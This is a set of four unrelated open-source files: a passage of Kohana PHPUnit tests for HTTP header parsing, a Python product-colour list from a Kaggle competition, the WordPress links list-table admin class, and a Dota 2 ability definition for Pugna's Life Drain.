=> (float) 1, 'gb-gb' => 0.45 ), 'fr' => array( '*' => 0.5, 'fr' => 0.4 ), 'es' => array( 'es' => 0.9 ) ) ), array( NULL, array( '*' => array( '*' => (float) 1 ) ) ) ); } /** * Tests the `parse_language_header` method parses the Accept-Language header * correctly * * @dataProvider provider_parse_language_header * * @param string $accept accept * @param array $expected expected * @return void */ public function test_parse_language_header($accept, array $expected) { $this->assertSame($expected, HTTP_Header::parse_language_header($accept)); } /** * Data provider for test_create_cache_control * * @return array */ public function provider_create_cache_control() { return array( array( array( 'public', 'max-age' => 1800, 'must-revalidate', 's-max-age' => 3600 ), 'public, max-age=1800, must-revalidate, s-max-age=3600' ), array( array( 'max-age' => 1800, 's-max-age' => 1800, 'public', 'must-revalidate', ), 'max-age=1800, s-max-age=1800, public, must-revalidate' ), array( array( 'private', 'no-cache', 'max-age' => 0, 'must-revalidate' ), 'private, no-cache, max-age=0, must-revalidate' ) ); } /** * Tests that `create_cache_control()` outputs the correct cache control * string from the supplied input * * @dataProvider provider_create_cache_control * * @param array $input input * @param string $expected expected * @return void */ public function test_create_cache_control(array $input, $expected) { $this->assertSame($expected, HTTP_Header::create_cache_control($input)); } /** * Data provider for parse_cache_control * * @return array */ public function provider_parse_cache_control() { return array( array( 'public, max-age=1800, must-revalidate, s-max-age=3600', array( 'public', 'max-age' => 1800, 'must-revalidate', 's-max-age' => 3600 ) ), array( 'max-age=1800, s-max-age=1800, public, must-revalidate', array( 'max-age' => 1800, 's-max-age' => 1800, 'public', 'must-revalidate', ) ), array( 'private, no-cache, max-age=0, must-revalidate', array( 'private', 'no-cache', 'max-age' => 0, 'must-revalidate' ) ) ); } /** * Tests that `parse_cache_control()` outputs the correct cache control * parsed data from the input string * * @dataProvider provider_parse_cache_control * * @param string $input input * @param array $expected expected * @return void */ public function test_parse_cache_control($input, array $expected) { $parsed = HTTP_Header::parse_cache_control($input); $this->assertInternalType('array', $parsed); foreach ($expected as $key => $value) { if (is_int($key)) { $this->assertTrue(in_array($value, $parsed)); } else { $this->assertTrue(array_key_exists($key, $parsed)); $this->assertSame($value, $parsed[$key]); } } } /** * Data provider for test_offsetSet * * @return array */ // @codingStandardsIgnoreStart public function provider_offsetSet() // @codingStandardsIgnoreEnd { return array( array( array( 'Content-Type' => 'application/x-www-form-urlencoded', 'Accept' => 'text/html, text/plain; q=.1, */*', 'Accept-Language' => 'en-gb, en-us, en; q=.1' ), array( array( 'Accept-Encoding', 'compress, gzip', FALSE ) ), array( 'content-type' => 'application/x-www-form-urlencoded', 'accept' => 'text/html, text/plain; q=.1, */*', 'accept-language' => 'en-gb, en-us, en; q=.1', 'accept-encoding' => 'compress, gzip' ) ), array( array( 'Content-Type' => 'application/x-www-form-urlencoded', 'Accept' => 'text/html, text/plain; q=.1, */*', 'Accept-Language' => 'en-gb, en-us, en; q=.1' ), array( array( 'Accept-Encoding', 'compress, gzip', FALSE ), array( 'Accept-Encoding', 'bzip', FALSE ) ), array( 'content-type' => 'application/x-www-form-urlencoded', 'accept' => 'text/html, text/plain; q=.1, */*', 'accept-language' => 'en-gb, en-us, en; q=.1', 'accept-encoding' => array( 'compress, gzip', 'bzip' ) ) ), array( array( 'Content-Type' => 'application/x-www-form-urlencoded', 'Accept' => 'text/html, text/plain; q=.1, */*', 'Accept-Language' => 'en-gb, en-us, en; q=.1' ), array( array( 'Accept-Encoding', 'compress, gzip', FALSE ), array( 'Accept-Encoding', 'bzip', TRUE ), array( 'Accept', 'text/*', FALSE ) ), array( 'content-type' => 'application/x-www-form-urlencoded', 'accept' => array( 'text/html, text/plain; q=.1, */*', 'text/*' ), 'accept-language' => 'en-gb, en-us, en; q=.1', 'accept-encoding' => 'bzip' ) ), ); } /** * Ensures that offsetSet normalizes the array keys * * @dataProvider provider_offsetSet * * @param array $constructor constructor * @param array $to_set to_set * @param array $expected expected * @return void */ // @codingStandardsIgnoreStart public function test_offsetSet(array $constructor, array $to_set, array $expected) // @codingStandardsIgnoreEnd { $http_header = new HTTP_Header($constructor); $reflection = new ReflectionClass($http_header); $method = $reflection->getMethod('offsetSet'); foreach ($to_set as $args) { $method->invokeArgs($http_header, $args); } $this->assertSame($expected, $http_header->getArrayCopy()); } /** * Data provider for test_offsetGet * * @return array */ // @codingStandardsIgnoreStart public function provider_offsetGet() // @codingStandardsIgnoreEnd { return array( array( array( 'FoO' => 'bar', 'START' => 'end', 'true' => TRUE ), 'FOO', 'bar' ), array( array( 'FoO' => 'bar', 'START' => 'end', 'true' => TRUE ), 'true', TRUE ), array( array( 'FoO' => 'bar', 'START' => 'end', 'true' => TRUE ), 'True', TRUE ), array( array( 'FoO' => 'bar', 'START' => 'end', 'true' => TRUE ), 'Start', 'end' ), array( array( 'content-type' => 'bar', 'Content-Type' => 'end', 'Accept' => '*/*' ), 'content-type', 'end' ) ); } /** * Ensures that offsetGet normalizes the array keys * * @dataProvider provider_offsetGet * * @param array start state * @param string key to retrieve * @param mixed expected * @return void */ // @codingStandardsIgnoreStart public function test_offsetGet(array $state, $key, $expected) // @codingStandardsIgnoreEnd { $header = new HTTP_Header($state); $this->assertSame($expected, $header->offsetGet($key)); } /** * Data provider for test_offsetExists * * @return array */ // @codingStandardsIgnoreStart public function provider_offsetExists() // @codingStandardsIgnoreEnd { return array( array( array( 'Accept' => 'text/html, application/json', 'Accept-Language' => 'en, en-GB', 'Content-Type' => 'application/x-www-form-urlencoded' ), 'Content-Type', TRUE ), array( array( 'Accept' => 'text/html, application/json', 'Accept-Language' => 'en, en-GB', 'Content-Type' => 'application/x-www-form-urlencoded' ), 'CONTENT-TYPE', TRUE ), array( array( 'Accept' => 'text/html, application/json', 'Accept-Language' => 'en, en-GB', 'Content-Type' => 'application/x-www-form-urlencoded' ), 'accept-language', TRUE ), array( array( 'Accept' => 'text/html, application/json', 'Accept-Language' => 'en, en-GB', 'Content-Type' => 'application/x-www-form-urlencoded' ), 'x-powered-by', FALSE ) ); } /** * Ensures that offsetExists normalizes the array key * * @dataProvider provider_offsetExists * * @param array $state state * @param string $key key * @param boolean $expected expected * @return void */ // @codingStandardsIgnoreStart public function test_offsetExists(array $state, $key, $expected) // @codingStandardsIgnoreEnd { $header = new HTTP_Header($state); $this->assertSame($expected, $header->offsetExists($key)); } /** * Data provider for test_offsetUnset * * @return array */ // @codingStandardsIgnoreStart public function provider_offsetUnset() // @codingStandardsIgnoreEnd { return array( array( array( 'Accept' => 'text/html, application/json', 'Accept-Language' => 'en, en-GB', 'Content-Type' => 'application/x-www-form-urlencoded' ), 'Accept-Language', array( 'accept' => 'text/html, application/json', 'content-type' => 'application/x-www-form-urlencoded' ) ), array( array( 'Accept' => 'text/html, application/json', 'Accept-Language' => 'en, en-GB', 'Content-Type' => 'application/x-www-form-urlencoded' ), 'ACCEPT', array( 'accept-language' => 'en, en-GB', 'content-type' => 'application/x-www-form-urlencoded' ) ), array( array( 'Accept' => 'text/html, application/json', 'Accept-Language' => 'en, en-GB', 'Content-Type' => 'application/x-www-form-urlencoded' ), 'content-type', array( 'accept' => 'text/html, application/json', 'accept-language' => 'en, en-GB', ) ) ); } /** * Tests that `offsetUnset` normalizes the key names properly * * @dataProvider provider_offsetUnset * * @param array $state state * @param string $remove remove * @param array $expected expected * @return void */ // @codingStandardsIgnoreStart public function test_offsetUnset(array $state, $remove, array $expected) // @codingStandardsIgnoreEnd { $header = new HTTP_Header($state); $header->offsetUnset($remove); $this->assertSame($expected, $header->getArrayCopy()); } /** * Provides data for test_parse_header_string * * @return array */ public function provider_parse_header_string() { return array( array( array( "Content-Type: application/x-www-form-urlencoded\r\n", "Accept: text/html, text/plain; q=.5, application/json, */* \r\n", "X-Powered-By: Kohana Baby \r\n" ), array( 'content-type' => 'application/x-www-form-urlencoded', 'accept' => 'text/html, text/plain; q=.5, application/json, */* ', 'x-powered-by' => 'Kohana Baby ' ) ), array( array( "Content-Type: application/x-www-form-urlencoded\r\n", "Accept: text/html, text/plain; q=.5, application/json, */* \r\n", "X-Powered-By: Kohana Baby \r\n", "Content-Type: application/json\r\n" ), array( 'content-type' => array( 'application/x-www-form-urlencoded', 'application/json' ), 'accept' => 'text/html, text/plain; q=.5, application/json, */* ', 'x-powered-by' => 'Kohana Baby ' ) ) ); } /** * Tests that `parse_header_string` performs as expected * * @dataProvider provider_parse_header_string * * @param array headers * @param array expected * @return void */ public function test_parse_header_string(array $headers, array $expected) { $http_header = new HTTP_Header(array()); foreach ($headers as $header) { $this->assertEquals(strlen($header), $http_header->parse_header_string(NULL, $header)); } $this->assertSame($expected, $http_header->getArrayCopy()); } /** * Data Provider for test_accepts_at_quality * * @return array */ public function provider_accepts_at_quality() { return array( array( array( 'Accept' => 'application/json, text/html; q=.5, text/*; q=.1, */*' ), 'application/json', FALSE, 1.0 ), array( array( 'Accept' => 'application/json, text/html; q=.5, text/*; q=.1, */*' ), 'text/html', FALSE, 0.5 ), array( array( 'Accept' => 'application/json, text/html; q=.5, text/*; q=.1, */*' ), 'text/plain', FALSE, 0.1 ), array( array( 'Accept' => 'application/json, text/html; q=.5, text/*; q=.1, */*' ), 'text/plain', TRUE, FALSE ), array( array( 'Accept' => 'application/json, text/html; q=.5, text/*; q=.1, */*' ), 'application/xml', FALSE, 1.0 ), array( array( 'Accept' => 'application/json, text/html; q=.5, text/*; q=.1, */*' ), 'application/xml', TRUE, FALSE ), array( array(), 'application/xml', FALSE, 1.0 ), array( array(), 'application/xml', TRUE, FALSE ) ); } /** * Tests `accepts_at_quality` parsed the Accept: header as expected * * @dataProvider provider_accepts_at_quality * * @param array starting state * @param string accept header to test * @param boolean explicitly check * @param mixed expected output * @return void */ public function test_accepts_at_quality(array $state, $accept, $explicit, $expected) { $header = new HTTP_Header($state); $this->assertSame($expected, $header->accepts_at_quality($accept, $explicit)); } /** * Data provider for test_preferred_accept * * @return array */ public function provider_preferred_accept() { return array( array( array( 'Accept' => 'application/json, text/html; q=.5, text/*; q=.1, */*' ), array( 'text/html', 'application/json', 'text/plain' ), FALSE, 'application/json' ), array( array( 'Accept' => 'application/json, text/html; q=.5, text/*; q=.1, */*' ), array( 'text/plain', 'application/xml', 'image/jpeg' ), FALSE, 'application/xml' ), array( array( 'Accept' => 'application/json, text/html; q=.5, text/*; q=.1' ), array( 'text/plain', 'application/xml', 'image/jpeg' ), FALSE, 'text/plain' ), array( array( 'Accept' => 'application/json, text/html; q=.5, text/*; q=.1, */*' ), array( 'text/plain', 'application/xml', 'image/jpeg' ), TRUE, FALSE ), ); } /** * Tests `preferred_accept` returns the correct preferred type * * @dataProvider provider_preferred_accept * * @param array state * @param array accepts * @param string explicit * @param string expected * @return void */ public function test_preferred_accept(array $state, array $accepts, $explicit, $expected) { $header = new HTTP_Header($state); $this->assertSame($expected, $header->preferred_accept($accepts, $explicit)); } /** * Data provider for test_accepts_charset_at_quality * * @return array */ public function provider_accepts_charset_at_quality() { return array( array( array( 'Accept-Charset' => 'utf-8, utf-10, utf-16, iso-8859-1' ), 'utf-8', 1.0 ), array( array( 'Accept-Charset' => 'utf-8, utf-10, utf-16, iso-8859-1' ), 'utf-16', 1.0 ), array( array( 'Accept-Charset' => 'utf-8; q=.1, utf-10, utf-16; q=.2, iso-8859-1' ), 'utf-8', 0.1 ), array( array( 'Accept-Charset' => 'utf-8; q=.1, utf-10, utf-16; q=.2, iso-8859-1; q=.5' ), 'iso-8859-1', 0.5 ) ); } /** * Tests `accepts_charset_at_quality` works as expected, returning the correct * quality value * * @dataProvider provider_accepts_charset_at_quality * * @param array state * @param string charset * @param string expected * @return void */ public function test_accepts_charset_at_quality(array $state, $charset, $expected) { $header = new HTTP_Header($state); $this->assertSame($expected, $header->accepts_charset_at_quality($charset)); } /** * Data provider for test_preferred_charset * * @return array */ public function provider_preferred_charset() { return array( array( array( 'Accept-Charset' => 'utf-8, utf-10, utf-16, iso-8859-1' ), array( 'utf-8', 'utf-16' ), 'utf-8' ), array( array( 'Accept-Charset' => 'utf-8, utf-10, utf-16, iso-8859-1' ), array( 'UTF-10' ), 'UTF-10' ), ); } /** * Tests `preferred_charset` works as expected, returning the correct charset * from the list supplied * * @dataProvider provider_preferred_charset * * @param array state * @param array charsets * @param string expected * @return void */ public function test_preferred_charset(array $state, array $charsets, $expected) { $header = new HTTP_Header($state); $this->assertSame($expected, $header->preferred_charset($charsets)); } /** * Data provider for test_accepts_encoding_at_quality * * @return array */ public function provider_accepts_encoding_at_quality() { return array( array( array( 'accept-encoding' => 'compress, gzip, blowfish; q=.7, *; q=.5' ), 'gzip', FALSE, 1.0 ), array( array( 'accept-encoding' => 'compress, gzip, blowfish; q=.7, *; q=.5' ), 'gzip', TRUE, 1.0 ), array( array( 'accept-encoding' => 'compress, gzip, blowfish; q=.7, *; q=.5' ), 'blowfish', FALSE, 0.7 ), array( array( 'accept-encoding' => 'compress, gzip, blowfish; q=.7, *; q=.5' ), 'bzip', FALSE, 0.5 ), array( array( 'accept-encoding' => 'compress, gzip, blowfish; q=.7, *; q=.5' ), 'bzip', TRUE, (float) 0 ) ); } /** * Tests `accepts_encoding_at_quality` parses and returns the correct * quality value for Accept-Encoding headers * * @dataProvider provider_accepts_encoding_at_quality * * @param array state * @param string encoding * @param boolean explicit * @param float expected * @return void */ public function test_accepts_encoding_at_quality(array $state, $encoding, $explicit, $expected) { $header = new HTTP_Header($state); $this->assertSame($expected, $header->accepts_encoding_at_quality($encoding, $explicit)); } /** * Data provider for test_preferred_encoding * * @return array */ public function provider_preferred_encoding() { return array( array( array( 'accept-encoding' => 'compress, gzip, blowfish; q=.7, *; q=.5' ), array('gzip', 'blowfish', 'bzip'), FALSE, 'gzip' ), array( array( 'accept-encoding' => 'compress, gzip, blowfish; q=.7, *; q=.5' ), array('bzip', 'ROT-13'), FALSE, 'bzip' ), array( array( 'accept-encoding' => 'compress, gzip, blowfish; q=.7, *; q=.5' ), array('bzip', 'ROT-13'), TRUE, FALSE ), array( array( 'accept-encoding' => 'compress, gzip, blowfish; q=.2, *; q=.5' ), array('ROT-13', 'blowfish'), FALSE, 'ROT-13' ), ); } /** * Tests that `preferred_encoding` parses and returns the correct * encoding type * * @dataProvider provider_preferred_encoding * * @param array state in * @param array encodings to interrogate * @param boolean explicit check * @param string expected output * @return void */ public function test_preferred_encoding(array $state, array $encodings, $explicit, $expected) { $header = new HTTP_Header($state); $this->assertSame($expected, $header->preferred_encoding($encodings, $explicit)); } /** * Data provider for test_accepts_language_at_quality * * @return array */ public function provider_accepts_language_at_quality() { return array( array( array( 'accept-language' => 'en-us; q=.9, en-gb; q=.7, en; q=.5, fr-fr; q=.9, fr; q=.8' ), 'en', FALSE, 0.5 ), array( array( 'accept-language' => 'en-us; q=.9, en-gb; q=.7, en; q=.5, fr-fr; q=.9, fr; q=.8' ), 'en-gb', FALSE, 0.7 ), array( array( 'accept-language' => 'en-us; q=.9, en-gb; q=.7, en; q=.5, fr-fr; q=.9, fr; q=.8' ), 'en', TRUE, 0.5 ), array( array( 'accept-language' => 'en-us; q=.9, en-gb; q=.7, en; q=.5, fr-fr; q=.9, fr; q=.8' ), 'fr-ni', FALSE, 0.8 ), array( array( 'accept-language' => 'en-us; q=.9, en-gb; q=.7, en; q=.5, fr-fr; q=.9, fr; q=.8' ), 'fr-ni', TRUE, (float) 0 ), array( array( 'accept-language' => 'en-US' ), 'en-us', TRUE, (float) 1 ), ); } /** * Tests `accepts_language_at_quality` parses the Accept-Language header * correctly and identifies the correct quality supplied, explicit or not * * @dataProvider provider_accepts_language_at_quality * * @param array state in * @param string language to interrogate * @param boolean explicit check * @param float expected output * @return void */ public function test_accepts_language_at_quality(array $state, $language, $explicit, $expected) { $header = new HTTP_Header($state); $this->assertSame($expected, $header->accepts_language_at_quality($language, $explicit)); } /** * Data provider for test_preferred_language * * @return array */ public function provider_preferred_language() { return array( array( array( 'accept-language' => 'en-us; q=.9, en-gb; q=.7, en; q=.5, fr-fr; q=.9, fr; q=.8' ), array( 'en', 'fr', 'en-gb' ), FALSE, 'fr' ), array( array( 'accept-language' => 'en-us; q=.9, en-gb; q=.7, en; q=.5, fr-fr; q=.9, fr; q=.8' ), array( 'en', 'fr', 'en-gb' ), TRUE, 'fr' ), array( array( 'accept-language' => 'en-us; q=.9, en-gb; q=.7, en; q=.5, fr-fr; q=.9, fr; q=.8' ), array( 'en-au', 'fr-ni', 'fr' ), FALSE, 'fr-ni' ), array( array( 'accept-language' => 'en-us; q=.9, en-gb; q=.7, en; q=.5, fr-fr; q=.9, fr; q=.8' ), array( 'en-au', 'fr-ni', 'fr' ), TRUE, 'fr' ), array( array( 'accept-language' => 'en-US' ), array( 'en-us' ), TRUE, 'en-us' ), ); } /** * Tests that `preferred_language` correctly identifies the right * language based on the Accept-Language header and `$explicit` setting * * @dataProvider provider_preferred_language * * @param array state in * @param array languages to interrogate * @param boolean explicit check * @param string expected output * @return void */ public function test_preferred_language(array $state, array $languages, $explicit, $expected) { $header = new HTTP_Header($state); $this->assertSame($expected, $header->preferred_language($languages, $explicit)); } /** * Data provider for test_send_headers * * @return array */ public function provider_send_headers() { $content_type = Kohana::$content_type.'; charset='.Kohana::$charset; return array( array( array(), array( 'HTTP/1.1 200 OK', 'Content-Type: '.$content_type, ), FALSE, ), array( array(), array( 'HTTP/1.1 200 OK', 'Content-Type: '.$content_type, 'X-Powered-By: '.Kohana::version(), ), TRUE, ), array( array( 'accept' => 'text/html, text/plain, text/*, */*', 'accept-charset' => 'utf-8, utf-10, iso-8859-1', 'accept-encoding' => 'compress, gzip', 'accept-language' => 'en, en-gb, en-us' ), array( 'HTTP/1.1 200 OK', 'Accept: text/html, text/plain, text/*, */*', 'Accept-Charset: utf-8, utf-10, iso-8859-1', 'Accept-Encoding: compress, gzip', 'Accept-Language: en, en-gb, en-us', 'Content-Type: '.$content_type, ), FALSE ), array( array( 'accept' => 'text/html, text/plain, text/*, */*', 'accept-charset' => 'utf-8, utf-10, iso-8859-1', 'accept-encoding' => 'compress, gzip', 'accept-language' => 'en, en-gb, en-us', 'content-type' => 'application/json', 'x-powered-by' => 'Mohana', 'x-ssl-enabled' => 'TRUE' ), array( 'HTTP/1.1 200 OK', 'Accept: text/html, text/plain, text/*, */*', 'Accept-Charset: utf-8, utf-10, iso-8859-1', 'Accept-Encoding: compress, gzip', 'Accept-Language: en, en-gb, en-us', 'Content-Type: application/json', 'X-Powered-By: Mohana', 'X-Ssl-Enabled: TRUE' ), TRUE ) ); } /** * Tests that send headers processes the headers sent to PHP correctly * * @dataProvider provider_send_headers * * @param array state in * @param array expected out * @return void */ public function test_send_headers(array $state, array $expected, $expose) { Kohana::$expose = $expose; $response = new Response; $response->headers($state); $this->assertSame( $expected, $response->send_headers(FALSE, array($this, 'send_headers_handler')) ); } /** * Callback handler for send headers * * @param array headers * @param boolean replace * @return array */ public function send_headers_handler($response, $headers, $replace) { return $headers; } } // End Kohana_HTTP_HeaderTest
{ "pile_set_name": "Github" }
# https://www.kaggle.com/c/home-depot-product-search-relevance/forums/t/18967/data-preparation COLOR_LIST = [ "white", "black", "brown", "gray", "chrome", "stainless steel", "whites", "red", "browns / tans", "bronze", "silver", "blacks", "beige", "stainless", "blue", "nickel", "metallics", "clear", "grays", "green", "multi", "beige / cream", "tan", "greens", "yellow", "wood", "blues", "reds / pinks", "brushed nickel", "orange", "metallic", "brass", "yellows / golds", "oil rubbed bronze", "polished chrome", "almond", "multi-colored", "dark brown wood", "primed white", "beige/bisque", "biscuit", "ivory", "oranges / peaches", "grey", "unfinished wood", "light brown wood", "wood grain", "silver metallic", "copper", "medium brown wood", "soft white", "gold", "satin nickel", "cherry", "bright white", "red/orange", "teal", "natural", "oak", "mahogany", "aluminum", "espresso", "unfinished", "purples / lavenders", "brown/tan", "steel", "venetian bronze", "slate", "warm white", "bone", "pink", "stainless look", "reddish brown wood", "solid colors", "off-white", "walnut", "chocolate", "light almond", "vibrant brushed nickel", "satin white", "polished brass", "linen", "white primer", "purple", "charcoal", "color", "oil-rubbed bronze", "melamine white", "turquoises / aquas", "blue/purple", "primed", "bisque", "browns/tans", "assorted colors", "java", "pewter", "chestnut", "yellow/gold", "taupe", "pacific white", "cedar", "monochromatic stainless steel", "other", "platinum", "mocha", "cream", "sand", "daylight", "brushed stainless steel", "powder-coat white", ]
{ "pile_set_name": "Github" }
<?php /** * List Table API: WP_Links_List_Table class * * @package WordPress * @subpackage Administration * @since 3.1.0 */ /** * Core class used to implement displaying links in a list table. * * @since 3.1.0 * @access private * * @see WP_List_Tsble */ class WP_Links_List_Table extends WP_List_Table { /** * Constructor. * * @since 3.1.0 * @access public * * @see WP_List_Table::__construct() for more information on default arguments. * * @param array $args An associative array of arguments. */ public function __construct( $args = array() ) { parent::__construct( array( 'plural' => 'bookmarks', 'screen' => isset( $args['screen'] ) ? $args['screen'] : null, ) ); } /** * * @return bool */ public function ajax_user_can() { return current_user_can( 'manage_links' ); } /** * * @global int $cat_id * @global string $s * @global string $orderby * @global string $order */ public function prepare_items() { global $cat_id, $s, $orderby, $order; wp_reset_vars( array( 'action', 'cat_id', 'link_id', 'orderby', 'order', 's' ) ); $args = array( 'hide_invisible' => 0, 'hide_empty' => 0 ); if ( 'all' != $cat_id ) $args['category'] = $cat_id; if ( !empty( $s ) ) $args['search'] = $s; if ( !empty( $orderby ) ) $args['orderby'] = $orderby; if ( !empty( $order ) ) $args['order'] = $order; $this->items = get_bookmarks( $args ); } /** * @access public */ public function no_items() { _e( 'No links found.' ); } /** * * @return array */ protected function get_bulk_actions() { $actions = array(); $actions['delete'] = __( 'Delete' ); return $actions; } /** * * @global int $cat_id * @param string $which */ protected function extra_tablenav( $which ) { global $cat_id; if ( 'top' != $which ) return; ?> <div class="alignleft actions"> <?php $dropdown_options = array( 'selected' => $cat_id, 'name' => 'cat_id', 'taxonomy' => 'link_category', 'show_option_all' => __( 'All categories' ), 'hide_empty' => true, 'hierarchical' => 1, 'show_count' => 0, 'orderby' => 'name', ); echo '<label class="screen-reader-text" for="cat_id">' . __( 'Filter by category' ) . '</label>'; wp_dropdown_categories( $dropdown_options ); submit_button( __( 'Filter' ), 'button', 'filter_action', false, array( 'id' => 'post-query-submit' ) ); ?> </div> <?php } /** * * @return array */ public function get_columns() { return array( 'cb' => '<input type="checkbox" />', 'name' => _x( 'Name', 'link name' ), 'url' => __( 'URL' ), 'categories' => __( 'Categories' ), 'rel' => __( 'Relationship' ), 'visible' => __( 'Visible' ), 'rating' => __( 'Rating' ) ); } /** * * @return array */ protected function get_sortable_columns() { return array( 'name' => 'name', 'url' => 'url', 'visible' => 'visible', 'rating' => 'rating' ); } /** * Get the name of the default primary column. * * @since 4.3.0 * @access protected * * @return string Name of the default primary column, in this case, 'name'. */ protected function get_default_primary_column_name() { return 'name'; } /** * Handles the checkbox column ouput. * * @since 4.3.0 * @access public * * @param object $link The current link object. */ public function column_cb( $link ) { ?> <label class="screen-reader-text" for="cb-select-<?php echo $link->link_id; ?>"><?php echo sprintf( __( 'Select %s' ), $link->link_name ); ?></label> <input type="checkbox" name="linkcheck[]" id="cb-select-<?php echo $link->link_id; ?>" value="<?php echo esc_attr( $link->link_id ); ?>" /> <?php } /** * Handles the link name column ouput. * * @since 4.3.0 * @access public * * @param object $link The current link object. */ public function column_name( $link ) { $edit_link = get_edit_bookmark_link( $link ); ?> <strong><a class="row-title" href="<?php echo $edit_link ?>" title="<?php echo esc_attr( sprintf( __( 'Edit &#8220;%s&#8221;' ), $link->link_name ) ); ?>"><?php echo $link->link_name ?></a></strong><br /> <?php } /** * Handles the link URL column ouput. * * @since 4.3.0 * @access public * * @param object $link The current link object. */ public function column_url( $link ) { $short_url = url_shorten( $link->link_url ); echo "<a href='$link->link_url' title='". esc_attr( sprintf( __( 'Visit %s' ), $link->link_name ) )."'>$short_url</a>"; } /** * Handles the link categories column output. * * @since 4.3.0 * @access public * * @global $cat_id * * @param object $link The current link object. */ public function column_categories( $link ) { global $cat_id; $cat_names = array(); foreach ( $link->link_category as $category ) { $cat = get_term( $category, 'link_category', OBJECT, 'display' ); if ( is_wp_error( $cat ) ) { echo $cat->get_error_message(); } $cat_name = $cat->name; if ( $cat_id != $category ) { $cat_name = "<a href='link-manager.php?cat_id=$category'>$cat_name</a>"; } $cat_names[] = $cat_name; } echo implode( ', ', $cat_names ); } /** * Handles the link relation column ouput. * * @since 4.3.0 * @access public * * @param object $link The current link object. */ public function column_rel( $link ) { echo empty( $link->link_rel ) ? '<br />' : $link->link_rel; } /** * Handles the link visibility column ouput. * * @since 4.3.0 * @access public * * @param object $link The current link object. */ public function column_visible( $link ) { if ( 'Y' === $link->link_visible ) { _e( 'Yes' ); } else { _e( 'No' ); } } /** * Handles the link rating column ouput. * * @since 4.3.0 * @access public * * @param object $link The current link object. */ public function column_rating( $link ) { echo $link->link_rating; } /** * Handles the default column output. * * @since 4.3.0 * @access public * * @param object $link Link object. * @param string $column_name Current column name. */ public function column_default( $link, $column_name ) { /** * Fires for each registered custom link column. * * @since 2.1.0 * * @param string $column_name Name of the custom column. * @param int $link_id Link ID. */ do_action( 'manage_link_custom_column', $column_name, $link->link_id ); } public function display_rows() { foreach ( $this->items as $link ) { $link = sanitize_bookmark( $link ); $link->link_name = esc_attr( $link->link_name ); $link->link_category = wp_get_link_cats( $link->link_id ); ?> <tr id="link-<?php echo $link->link_id; ?>"> <?php $this->single_row_columns( $link ) ?> </tr> <?php } } /** * Generates and displays row action links. * * @since 4.3.0 * @access protected * * @param object $link Link being acted upon. * @param string $column_name Current column name. * @param string $primary Primary column name. * @return string Row action output for links. */ protected function handle_row_actions( $link, $column_name, $primary ) { if ( $primary !== $column_name ) { return ''; } $edit_link = get_edit_bookmark_link( $link ); $actions = array(); $actions['edit'] = '<a href="' . $edit_link . '">' . __('Edit') . '</a>'; $actions['delete'] = "<a class='submitdelete' href='" . wp_nonce_url("link.php?action=delete&amp;link_id=$link->link_id", 'delete-bookmark_' . $link->link_id) . "' onclick=\"if ( confirm( '" . esc_js(sprintf(__("You are about to delete this link '%s'\n 'Cancel' to stop, 'OK' to delete."), $link->link_name)) . "' ) ) { return true;}return false;\">" . __('Delete') . "</a>"; return $this->row_actions( $actions ); } }
{ "pile_set_name": "Github" }
// Rewrite of Pugna Life Drain // Author: Noya // Date: April 5, 2015 "pugna_life_drain_datadriven" { // General //------------------------------------------------------------------------------------------------------------- "BaseClass" "ability_datadriven" "AbilityType" "DOTA_ABILITY_TYPE_ULTIMATE" "AbilityBehavior" "DOTA_ABILITY_BEHAVIOR_UNIT_TARGET | DOTA_ABILITY_BEHAVIOR_CHANNELLED | DOTA_ABILITY_BEHAVIOR_IGNORE_BACKSWING" "AbilityUnitTargetTeam" "DOTA_UNIT_TARGET_TEAM_BOTH" "AbilityUnitTargetType" "DOTA_UNIT_TARGET_HERO | DOTA_UNIT_TARGET_BASIC" "AbilityUnitTargetFlags" "DOTA_UNIT_TARGET_FLAG_MAGIC_IMMUNE_ENEMIES | DOTA_UNIT_TARGET_FLAG_FOW_VISIBLE" "SpellImmunityType" "SPELL_IMMUNITY_ENEMIES_YES" "AbilityUnitDamageType" "DAMAGE_TYPE_MAGICAL" "FightRecapLevel" "1" "AbilityTextureName" "pugna_life_drain" // Casting //------------------------------------------------------------------------------------------------------------- "AbilityCastRange" "1100" "AbilityCastPoint" "0.2 0.2 0.2" "AbilityChannelTime" "10.0" // Time //------------------------------------------------------------------------------------------------------------- "AbilityCooldown" "22.0 22.0 22.0" // Cost //------------------------------------------------------------------------------------------------------------- "AbilityManaCost" "125 175 225" // Stats //------------------------------------------------------------------------------------------------------------- "AbilityModifierSupportValue" "0.0" // All about the damage // Special //------------------------------------------------------------------------------------------------------------- "AbilitySpecial" { "01" { "var_type" "FIELD_INTEGER" "health_drain" "120 160 200" } "02" { "var_type" "FIELD_INTEGER" "cast_range_tooltip" "850" } "03" { "var_type" "FIELD_INTEGER" "duration_tooltip" "10" } "04" { "var_type" "FIELD_INTEGER" "health_drain_scepter" "180 240 300" } "05" { "var_type" "FIELD_FLOAT" "scepter_cooldown" "0.0 0.0 0.0" } "06" { "var_type" "FIELD_FLOAT" "tick_rate" "0.25 0.25 0.25" } "07" { "var_type" "FIELD_INTEGER" "bonus_range_scepter" "50" } "08" { "var_type" "FIELD_INTEGER" "cast_range_scepter_tooltip" "900" } } "precache" { "particle" "particles/units/heroes/hero_pugna/pugna_life_drain.vpcf" "soundfile" "soundevents/game_sounds_heroes/game_sounds_pugna.vsndevts" } "OnSpellStart" { "ApplyModifier" { "ModifierName" "modifier_life_drain" "Target" "TARGET" } "FireSound" { "EffectName" "Hero_Pugna.LifeDrain.Target" "Target" "CASTER" } } "OnChannelFinish" { "RemoveModifier" { "ModifierName" "modifier_life_drain" "Target" "TARGET" } } "Modifiers" { "modifier_life_drain" { "IsDebuff" "1" "OnCreated" { "RunScript" { "ScriptFile" "heroes/hero_pugna/life_drain.lua" "Function" "LifeDrainParticle" } } "OnDestroy" { "RunScript" { "ScriptFile" "heroes/hero_pugna/life_drain.lua" "Function" "LifeDrainParticleEnd" } } "ThinkInterval" "%tick_rate" "OnIntervalThink" { "RunScript" { "ScriptFile" "heroes/hero_pugna/life_drain.lua" "Function" "LifeDrainHealthTransfer" } } } } }
{ "pile_set_name": "Github" }
